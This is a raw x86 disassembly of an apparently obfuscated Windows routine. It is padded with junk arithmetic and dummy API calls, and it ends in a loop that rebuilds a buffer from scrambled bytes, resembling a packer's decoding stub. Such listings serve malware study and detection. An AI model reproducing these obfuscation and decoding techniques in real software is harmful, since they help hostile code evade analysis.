mov dword [ebp + ecx*4 - 0x3c], 0x17571177
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x43197d
push 3
mov dword [ebp - 8], eax
pop ebx
jmp 0x4319a5
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x84], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x431998
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 5
jne 0x431b05
mov dword [ebp - 8], 0xfffffff6
mov dword [ebp - 0xc], 0xa65d3384
mov dword [ebp - 8], 2
cmp dword [ebp - 8], eax
jl 0x431af5
push 7
pop edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0x1f283019
mov dword [ebp - 0xc], eax
jmp 0x4319f1
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x54], edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x4319e7
cmp dword [ebp - 0x3c], eax
jne 0x431a20
mov ecx, dword [ebp - 8]
xor edx, edx
mov esi, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x84]
cmp esi, ecx
sete dl
xor esi, esi
inc esi
cmp edx, dword [ebp - 8]
mov edx, eax
jge 0x431a22
mov edx, esi
mov ecx, dword [ebp - 0x3c]
add ecx, edx
mov edx, dword [ebp - 8]
sub edx, ecx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 8]
cmp ecx, edx
setl bl
xor ecx, ecx
cmp ebx, 5
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 8]
setle dl
xor ebx, ebx
cmp edx, 0xfffffffd
setle bl
xor edx, edx
add ebx, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x84]
cmp ebx, ecx
mov ecx, dword [ebp - 0x3c]
setg dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 8]
setge bl
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x84]
cmp ecx, ebx
setge dl
cmp edx, dword [ebp - 0x14]
jge 0x431ab1
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 8]
mov edx, esi
mov ecx, dword [ebp + ecx*4 - 0x84]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 8]
sub edx, ecx
add edx, dword [ebp - 8]
jne 0x431ae0
cmp dword [ebp - 0xc], eax
jne 0x431ae0
mov dword [ebp - 0x54], eax
jmp 0x431ae6
mov dword [ebp - 0x54], esi
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x54]
dec dword [ebp - 8]
jns 0x4319d5
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 5
je 0x4319b7
push 3
pop ebx
mov ecx, dword [ebp - 0x28]
add edi, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, dword [ebp - 0x30]
jl 0x431545
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x20], 0x2d6273d5
mov dword [ebp - 0x1c], 0xfffffffe
jmp 0x431c7c
mov dword [ebp - 8], 0xf5047c4d
mov dword [ebp - 0xc], eax
jmp 0x431b4c
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x6c], 0x36951ad3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x431b3e
mov dword [ebp - 0x6c], eax
jmp 0x431bf2
mov dword [ebp - 0xc], eax
jmp 0x431b6f
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x8c], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x431b5e
mov dword [ebp - 0x8c], 0xa
cmp dword [ebp - 0x8c], 0xffffffe7
jne 0x431bef
push esi
lea ecx, [ebp - 0x170]
call fcn.00430760
xor eax, eax
mov dword [ebp - 0xc], 0xfffffffb
mov dword [ebp - 0xc], eax
jmp 0x431bb1
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x170]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x431ba2
mov dword [ebp - 0xc], eax
jmp 0x431bce
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0x6941fc9a
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x431bbb
lea ecx, [ebp - 0x170]
call fcn.00430832
dec dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0xffffffe7
je 0x431b88
xor eax, eax
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0x19
jne 0x431b59
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 2
jg 0x431c76
mov dword [ebp - 0x20], 0xfffa
mov esi, 0x75cb
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x6c]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x6c]
sub esi, ecx
mov ecx, dword [ebp - 0x1c]
dec esi
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, 0x275f
setge dl
add ecx, 0xffff0001
add edx, ecx
xor ebx, ebx
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x6c]
cmp edx, ecx
mov ecx, dword [ebp - 8]
setg bl
xor edx, edx
cmp ebx, 0x1521
setge dl
mov dword [ebp + ecx*4 - 0x6c], edx
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jle 0x431c05
push 3
pop ebx
inc dword [ebp - 0x1c]
push 1
pop esi
cmp dword [ebp - 0x1c], 0x1a
jl 0x431b32
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x20], ecx
inc edx
mov ecx, dword [edi]
mov dword [ebp - 8], 0xcfb6318d
mov dword [ebp - 0x28], 0xaa058a13
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x431cba
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0xcc], edx
inc dword [ebp - 0xc]
jmp 0x431ca5
mov esi, edx
cmp dword [ebp - 8], eax
jne 0x431cc3
mov esi, eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 8]
cmp ecx, 0xb4e9
push 3
setg dl
xor ebx, ebx
imul edx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp esi, edx
setne bl
xor edx, edx
cmp ecx, ebx
mov ecx, dword [ebp - 8]
pop ebx
setge dl
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp dword [ebp - 0x2c], ecx
setge dl
xor esi, esi
mov dword [ebp - 8], edx
inc esi
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jg 0x431ebf
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x110]
push esi
call fcn.00430760
xor eax, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], eax
jmp 0x431d38
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x110]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x431d28
mov dword [ebp - 0x1c], eax
jmp 0x431e2a
mov dword [ebp - 0xc], 0xfeb9e9d6
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], eax
jl 0x431e27
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x431df6
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x14], eax
jmp 0x431dc7
mov dword [ebp - 0x20], eax
jmp 0x431d86
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*4 - 0x60], 0x94abc248
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x431d78
mov dword [ebp - 0x5c], eax
jmp 0x431db8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x431db5
push 0x11aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], ebx
jle 0x431d91
mov dword [ebp - 0x5c], 0xfa48a2b8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x431d73
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x431ded
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + ecx*4 - 0xcc]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0xcc], edx
dec dword [ebp - 0x14]
jns 0x431dd4
dec dword [ebp - 0x18]
jns 0x431d67
mov ecx, dword [ebp - 0xc]
xor edx, edx
push 3
mov ecx, dword [ebp + ecx*4 - 0xcc]
cmp ecx, 4
mov ecx, dword [ebp - 0x110]
sete dl
xor ebx, ebx
cmp edx, 0xa2ef
setg bl
mov dword [ecx], ebx
dec dword [ebp - 0xc]
pop ebx
jns 0x431d58
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x431d45
mov ecx, dword [ebp - 8]
cmp dword [ebp + ecx*4 - 0xcc], eax
je 0x431e97
mov edx, dword [ebp - 0xc0]
xor ebx, ebx
mov ecx, dword [ebp - 0xc4]
cmp edx, ecx
mov ecx, dword [ebp - 8]
setl bl
mov dword [ebp - 0x2c], ebx
xor ebx, ebx
cmp dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0xc8]
setle bl
xor edx, edx
cmp ecx, ebx
mov ecx, 0xfff8
push 3
setge dl
cmp ecx, edx
pop ebx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x110]
mov dword [ecx], edx
test edx, edx
je 0x431e97
cmp dword [ebp - 8], eax
je 0x431e97
mov eax, esi
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
call fcn.00430832
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jle 0x431d0c
xor eax, eax
add edi, 4
mov dword [ebp - 0x1c], edi
mov ecx, dword [edi]
mov dword [ebp - 8], 0x53b26bdd
mov dword [ebp - 0x30], 0xffaa2324
mov dword [ebp - 0x18], 0xcec0
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0xc], eax
jmp 0x431ef5
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x250], 0x22955d48
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x431ee4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xfffffff2
jl 0x43206d
push esi
lea ecx, [ebp - 0x98]
call fcn.00430760
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0xb2455f99
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
jmp 0x431f3a
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x98]
mov dword [ecx + edx*4], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x431f27
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x432040
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0xd69b45c7
mov ecx, dword [ebp - 0x14]
add ecx, 0x11fb8eb5
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0x389a9b8f
je 0x431f71
cmp dword [ebp - 0x30], eax
jne 0x431f71
mov esi, eax
mov ecx, dword [ebp - 8]
xor edx, edx
cmp ecx, esi
setge dl
cmp edx, 6
jl 0x431f95
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x98]
cmp dword [ecx + edx*4], eax
jne 0x431f95
xor ebx, ebx
mov esi, eax
inc ebx
jmp 0x431f9a
xor ebx, ebx
inc ebx
mov esi, ebx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx + edx*4]
imul ecx, esi
test ecx, ecx
je 0x431fb4
mov ecx, ebx
cmp dword [ebp - 0x20], eax
jne 0x431fb6
mov ecx, eax
add ecx, 0x6fd8c658
jne 0x431fc5
mov edi, eax
cmp dword [ebp - 8], eax
je 0x431fc7
mov edi, ebx
mov esi, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x98]
push 3
cmp edi, dword [ecx]
pop ecx
sete dl
cmp ecx, edx
mov ecx, dword [ebp - 8]
push 1
sbb edx, edx
xor ebx, ebx
neg edx
cmp edx, ecx
mov ecx, dword [ebp - 0x98]
setge bl
xor edx, edx
cmp dword [ecx + esi*4], ebx
mov ecx, dword [ebp - 8]
setl dl
xor ebx, ebx
cmp edx, 0xd6a9
setne bl
sub ebx, ecx
add ebx, 0xffff
mov dword [ebp - 0x28], ebx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x28]
imul esi, dword [ebp - 8]
mov ecx, dword [ebp - 0x98]
sub esi, dword [ecx + edx*4]
xor edx, edx
mov ecx, dword [ebp - 0x20]
cmp esi, ecx
pop esi
setne dl
mov dword [ebp - 0x2c], edx
dec dword [ebp - 0x18]
dec dword [ebp - 0x14]
jns 0x431f4b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x43204f
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [ebp - 0x98]
call fcn.00430832
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffff2
jge 0x431f07
mov edi, dword [ebp - 0x1c]
push 3
pop ebx
add edi, 4
lea ecx, [ebp - 0xdc]
push ebx
mov dword [ebp - 0x1c], edi
call fcn.00430760
push esi
lea ecx, [ebp - 0x134]
call fcn.00430760
mov dword [ebp - 8], esi
xor eax, eax
mov dword [ebp - 0x28], 0x428464d9
mov dword [ebp - 0x14], 0x51ad
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x2c], 0xf0027394
mov dword [ebp - 8], eax
jmp 0x4320c7
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xdc]
mov dword [ecx + edx*4], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x4320b8
mov dword [ebp - 8], eax
jmp 0x4320e0
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x134]
mov dword [ecx + edx*4], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x4320d1
mov dword [ebp - 8], eax
jmp 0x4320fb
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x200], 0xfffffffb
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x4320ea
mov edi, dword [ebp - 0xdc]
mov ecx, dword [edi]
sub ecx, dword [edi + 4]
cmp ecx, esi
je 0x432116
mov edx, esi
cmp dword [edi], eax
jne 0x432118
mov edx, eax
mov ecx, dword [ebp - 0x134]
mov dword [ecx], edx
xor ecx, ecx
cmp dword [edi + 4], edx
mov esi, dword [edi + 4]
sete cl
xor edx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
cmp ecx, esi
setl dl
xor ecx, ecx
cmp edx, esi
setle cl
sub ecx, esi
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
cmp dword [edi + 4], ecx
setl dl
xor ecx, ecx
cmp edx, ebx
setne cl
xor edx, edx
cmp ecx, 6
mov ecx, dword [ebp - 0x14]
setne dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setl bl
imul ebx, ecx
mov dword [ebp - 0x1f8], ebx
test ebx, ebx
je 0x43218a
cmp dword [ebp - 0x200], eax
je 0x43218a
xor ecx, ecx
inc ecx
jmp 0x43218c
mov ecx, eax
mov esi, dword [edi + 4]
xor edx, edx
cmp ecx, 0x5976
mov ecx, dword [ebp - 0x30]
setl dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setg bl
xor edx, edx
cmp ebx, ecx
setle dl
xor ecx, ecx
cmp edx, esi
setle cl
sub esi, ecx
sub esi, dword [ebp - 0x18]
neg esi
sbb esi, esi
inc esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x43228c
push 3
pop ebx
mov dword [ebp - 0x2c], 0xfffffffc
xor edx, edx
mov dword [ebp - 0x2c], 7
inc edx
mov dword [ebp - 0xc], eax
jmp 0x4321f5
mov ecx, dword [ebp - 0xc]
mov dword [ebp + ecx*4 - 0x58], 0x7c3cb878
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x4321e7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x432266
jmp 0x432207
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x58]
mov edi, edx
inc dword [ebp - 0x58]
test ecx, ecx
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
cmove edi, eax
mov ecx, dword [ebp - 0xdc]
xor ebx, ebx
cmp edi, dword [ecx + edx*4 + 8]
mov ecx, dword [ebp - 0x134]
setge bl
xor edx, edx
cmp dword [ecx + esi*4], eax
setl dl
cmp edx, ebx
jg 0x43224c
mov ecx, dword [ebp - 0x18]
cmp dword [ebp + ecx*4 - 0x200], eax
je 0x43224c
xor esi, esi
inc esi
jmp 0x43224e
mov esi, eax
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp esi, ecx
setle dl
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x432204
push 3
pop ebx
mov dword [ebp - 8], eax
jmp 0x43227b
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xdc]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x43226b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x4321d1
lea ecx, [ebp - 0x134]
call fcn.00430832
lea ecx, [ebp - 0xdc]
call fcn.00430832
cmp dword [ebp - 0x38], 0
jne 0x43237b
cmp byte [ebp - 0x31], 0
mov edi, dword [ebp - 0x24]
je 0x4322c4
cmp dword [ebp - 0x40], 1
jne 0x4322c4
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x10]
add dword [ecx + 8], eax
mov ecx, dword [ebp - 0x1c]
push edi
mov eax, dword [ecx]
mov dword [ebp - 0x38], eax
mov eax, dword [ecx + 4]
add ecx, 8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x1c], ecx
call fcn.0047c3b0
mov ebx, eax
xor eax, eax
pop ecx
mov dword [ebp - 0xd0], eax
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0xd0]
push eax
push edi
call fcn.00464c94
xor ecx, ecx
test edi, edi
mov edi, dword [ebp - 0x104]
mov esi, ecx
jle 0x432363
mov eax, esi
and eax, 0x80000001
jns 0x43232a
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x38]
add eax, esi
add eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x2c]
jmp 0x43233f
lea eax, [edx + 1]
cdq
idiv dword [ebp - 0x24]
cmp word [edi + edx*2], cx
jne 0x43233c
xor eax, eax
inc eax
mov word [edi + edx*2], ax
mov eax, dword [ebp - 0x1c]
mov al, byte [eax + edx]
mov byte [esi + ebx], al
inc esi
mov eax, dword [ebp - 0x24]
cmp esi, eax
jl 0x43231c
jmp 0x432366
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp + 8]
mov dword [esi], eax
mov dword [esi + 4], ebx
test edi, edi
je 0x43237e
push edi
call fcn.0047ed46
pop ecx
jmp 0x43237e
mov esi, dword [ebp + 8]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret